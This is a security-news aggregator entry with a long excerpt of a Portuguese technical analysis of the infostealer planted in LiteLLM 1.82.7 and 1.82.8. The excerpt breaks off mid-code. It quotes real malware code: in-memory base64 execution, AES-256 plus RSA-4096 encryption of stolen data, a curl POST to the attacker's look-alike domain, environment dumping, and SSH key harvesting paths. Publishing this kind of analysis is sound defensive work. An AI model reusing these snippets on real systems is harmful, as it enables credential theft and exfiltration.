Security News

Cybersecurity news aggregator

📦
HIGH Attacks Reddit r/netsec

LiteLLM malware supply chain attack analysis (pt-BR only, sorry)

A supply chain attack targeting the Python LiteLLM library versions 1.82.7 and 1.82.8 deployed a sophisticated three-stage malware chain. The attack begins with a dropper executing an in-memory infostealer that harvests credentials and secrets, establishes persistence in Kubernetes environments, and deploys a persistent C2 agent capable of arbitrary remote command execution. The threat is particularly effective as LiteLLM deployments often have privileged access to multiple AI provider credentials and infrastructure.
Read Full Article →

Anatomia de um Infostealer Moderno: Três Camadas, Uma Botnet 25 de Março de 2026 Análise técnica de infostealer encontrado nas versões 1.82.7 e 1.82.8 do pacote LiteLLM Contexto Eu não costumo publicar as analises que faço, mas gostei desse aqui. Durante uma investigação de supply chain, scripts maliciosos foram identificados nas versões 1.82.7 e 1.82.8 do pacote Python LiteLLM — uma biblioteca amplamente usada como gateway centralizado para APIs de modelos de linguagem. O que pareceu inicialmente um único script ofuscado revelou uma cadeia de ataque em três estágios : infostealer, persistência em Kubernetes e um C2 agent permanente com capacidade de execução remota arbitrária. Apesar de ser um script simples, não é um script amador, ele tem uma complexidade. Separa responsabilidades, evasão multiestágio e resiliência operacional. O vetor é especialmente eficaz pelo contexto: LiteLLM é frequentemente deployado com acesso a credenciais de múltiplos provedores de AI (OpenAI, Anthropic, Azure OpenAI, etc.), além de rodar em pipelines automatizados com acesso privilegiado à infraestrutura. Este artigo tenta trazer a arquitetura completa, com análise das principais linhas de cada estágio. Links que consultei após escrever esse Artigo, mas antes de publica-lo: Pronunciamento da Empresa LiteLLM: https://docs.litellm.ai/blog/security-update-march-2026 Advisory da Wiz. https://app.wiz.io/boards/threat-center/wiz-adv-2026-037 Post do Snyk (o mais técnico/com código que achei). https://snyk.io/pt-BR/articles/poisoned-security-scanner-backdooring-litellm/ Arquitetura Geral [pip install litellm==1.82.7 ou 1.82.8] │ ├─► Estágio 1: Dropper │ └─ Executa infostealer em memória → cifra AES-256 + RSA-4096 → exfiltra │ ├─► Estágio 2: Infostealer │ ├─ Coleta: SSH, AWS, K8s secrets, .env, DBs, cripto, /etc/shadow... │ ├─ Escala para nós K8s via pod privilegiado │ └─ Instala C2 agent como serviço systemd (local + todos os nós) │ └─► Estágio 3: C2 Agent (persistente) └─ A cada 50min: consulta checkmarx.zone/raw → baixa → executa qualquer payload Estágio 1 — Dropper O ponto de entrada foram duas versões do pacote LiteLLM v1.82.7 e v1.82.8. Ele é o 1o Estágio, vulgo Dropper. Sua única responsabilidade é executar o infostealer, que coleta os dados, sem (muitos) deixar rastros, cifrar o resultado e exfiltrá-lo. Execução em memória payload = base64 . b64decode ( B64_SCRIPT ) subprocess . run ([ sys . executable , "-" ], input = payload , stdout = f , stderr = subprocess . DEVNULL , check = True ) O Dropper faz o parsing do Base64 na variável B64_SCRIPT, o infostealer é decodificado e enviado via stdin para o interpretador Python e nunca toca o disco. Toda a saída (credenciais, arquivos, outputs de comandos) é capturada no stdout e salva num diretório temporário que é destruído automaticamente ao final. Envelope criptográfico híbrido # 1. Gera chave de sessão AES aleatória subprocess . run ([ "openssl" , "rand" , "-out" , sk , "32" ]) # 2. Cifra os dados com AES-256-CBC + PBKDF2 subprocess . run ([ "openssl" , "enc" , "-aes-256-cbc" , "-in" , collected , "-out" , ef , "-pass" , f "file: { sk } " , "-pbkdf2" ]) # 3. Cifra a chave AES com RSA-4096 do atacante (padding OAEP) subprocess . run ([ "openssl" , "pkeyutl" , "-encrypt" , "-pubin" , "-inkey" , pk , "-in" , sk , "-out" , ek , "-pkeyopt" , "rsa_padding_mode:oaep" ]) # 4. Empacota tudo subprocess . run ([ "tar" , "-czf" , "tpcp.tar.gz" , "payload.enc" , "session.key.enc" ]) Implementação de criptografia híbrida: AES para os dados (eficiente), RSA para a chave (assimétrico). Sem a chave privada do atacante, os dados capturados são (matematicamente) inacessíveis. A chave pública RSA-4096 está hardcoded no inicio do script. Exfiltração disfarçada subprocess . run ([ "curl" , "-s" , "-X" , "POST" , "https://models.litellm.cloud/" , "-H" , "Content-Type: application/octet-stream" , "-H" , "X-Filename: tpcp.tar.gz" , "--data-binary" , f "@ { bn } " ]) O domínio litellm.cloud imita o projeto open source legítimo LiteLLM (proxy de APIs de LLMs). Para uma equipe de segurança vendo esse tráfego em logs, parece um desenvolvedor chamando uma API de AI. Evasão por contexto : ambientes que usam LLMs regularmente são especialmente vulneráveis a esse disfarce. Estágio 2 — Infostealer Esse é o script embutido em B64_SCRIPT . Roda inteiramente em memória, escreve tudo no stdout, e nunca levanta exceções visíveis — cada bloco tem except: pass ou except OSError: pass . Reconhecimento inicial run ( 'hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null' ) run ( 'printenv' ) Primeira coisa executada: Fingerprint completo da máquina incluindo todas as variáveis de ambiente — onde frequentemente vivem tokens, URLs de banco, API keys e credenciais de serviço. Fase 1: Chaves SSH e credenciais Git # Chaves do usuário — todos os tipos conhecidos for f in [ '/.ssh/id_rsa' , '/.ssh/id_ed25519' , '/.ssh/id_ecdsa' , '/.ssh/id_dsa' , '/.ssh/authorized_keys' , '/.ssh/known...

Share this article